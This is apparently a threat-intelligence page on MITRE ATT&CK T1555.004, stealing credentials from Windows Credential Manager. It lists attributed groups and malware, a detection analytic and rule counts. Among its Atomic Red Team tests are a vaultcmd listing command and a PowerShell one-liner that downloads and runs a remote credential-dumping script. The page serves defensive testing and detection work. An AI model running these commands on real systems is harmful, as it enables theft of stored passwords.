tfMITRE ATT&CK sub-technique

Windows Credential Manager T1555.004

sub-technique of T1555 Credentials from Password Stores

Tactic: Credential Access
Platform: Windows
Version: 1.1
Created: 23 November 2020
Last modified: 24 October 2025
Contributors: Bernaldo Penas Antelo; Mugdha Peter Bansode; Uriel Kosayev; Vadim Khrykov

Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).[1][2]

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups70th pct

Threat groups70th percentile · 70% of ATT&CK techniques have this many threat groups attributed or fewer.

Campaigns72nd pct

Campaigns72nd percentile · 72% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malware73rd pct

Tools & malware73rd percentile · 73% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rules64th pct

Detection rules64th percentile · 64% of ATT&CK techniques have this many detection rules written or fewer.

Windows Credential Manager MITRE reference T1555.004

70th pctamong all ATT&CK techniques for number of groups

4 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

Wizard SpiderG0102 ↗

Has used PowerShell cmdlet Invoke-WCMDump to enumerate Windows credentials in the Credential Manager in a compromised network.1

created 2020-05-121 referenceaka UNC1878

OilRigG0049 ↗

Has used credential dumping tool named VALUEVAULT to steal credentials from the Windows Credential Manager.1

created 2017-12-141 referenceaka COBALT GYPSY

Stealth FalconG0038 ↗

Malware gathers passwords from the Windows Credential Vault.1

created 2017-05-311 reference

TurlaG0010 ↗

Has gathered credentials from the Windows Credential Manager tool.1

created 2017-05-311 referenceaka IRON HUNTER

All 4 groups for this technique

9 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

SILENTTRINITYS0692 ↗

Can gather Windows Vault credentials.1

created 2022-03-23TOOL

LizarS0681 ↗

Has a plugin that can retrieve credentials from Internet Explorer and Microsoft Edge using vaultcmd.exe and another that can collect RDP access credentials using the CredEnumerateW function.1

created 2022-02-02MALWAREcarried by 1 group

RainyDayS0629 ↗

Can use the QuarksPwDump tool to obtain local passwords and domain cached credentials.1

created 2021-06-29MALWAREcarried by 1 group

KGH_SPYS0526 ↗

Can collect credentials from the Windows Credential Manager.1

created 2020-11-06MALWAREcarried by 1 group

ValakS0476 ↗

Can use a .NET compiled module named exchgrabber to enumerate credentials from the Credential Manager.1

created 2020-06-19MALWAREcarried by 1 group

LaZagneS0349 ↗

Can obtain credentials from Vault files.1

created 2019-01-30TOOLcarried by 12 groups

All 9 software entries for this technique · 6 newest in this preview

Offense vs defense T1555.004

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 1Sigma rules (cumulative) · 4Splunk ESCU (cumulative) · 1

first rule: 2022 Q2 · 1 of 1 campaigns plotted

Windows Credential Manager detection strategy DET0134

MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detect Suspicious Access to Windows Credential Manager

Enterprise

1 platform

AN0378 · Windows

Detects unauthorized access to Windows Credential Manager through anomalous process execution (vaultcmd.exe, rundll32.exe keymgr.dll), suspicious API calls (CredEnumerateA), or direct file access to Credential Locker files. Correlates process creation with subsequent file reads of .vcrd/.vpol files under user Credential Locker directories.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Security	EventCode=4688
Process AccessDC0035	WinEventLog:Sysmon	EventCode=10
File MetadataDC0059	WinEventLog:Sysmon	EventCode=15

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
MonitoredPaths	Credential Locker paths such as %Systemdrive%\Users\\AppData\Local\Microsoft\Credentials and %Systemdrive%\Users\\AppData\Local\Microsoft\Vault
TimeWindow	Correlation window between process execution, file access, and API calls
PrivilegedUsers	Baseline of expected administrative/service accounts with legitimate Credential Manager access

Tests2Executorscmd 1 · PowerShell 1Need elevation0 of 2Have prerequisites0Have cleanup0Platformswindows

#	Test	Platform	Executor	Elevation	Prereqs	Cleanup
01	Access Saved Credentials via VaultCmd	windows	cmd	—	—	—
List credentials currently stored in Windows Credential Manager via the native Windows utility vaultcmd.exe Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/ https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16 Attack command vaultcmd /listcreds:"Windows Credentials" GUID1ac0914d-1a41-4a1c-8e6e-fe0fd730c164
02	WinPwn - Loot local Credentials - Invoke-WCMDump	windows	PowerShell	—	—	—
Loot local Credentials - Invoke-WCMDump technique via function of WinPwn Attack command iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/DumpWCM.ps1') Invoke-WCMDump GUIDfeb6bc6f-3d06-4ec8-be69-2c92c17273cc

Tests from Atomic Red Team (MIT licence) · technique definition

Windows Credential Manager detections T1555.004

5 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

64th pctamong all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs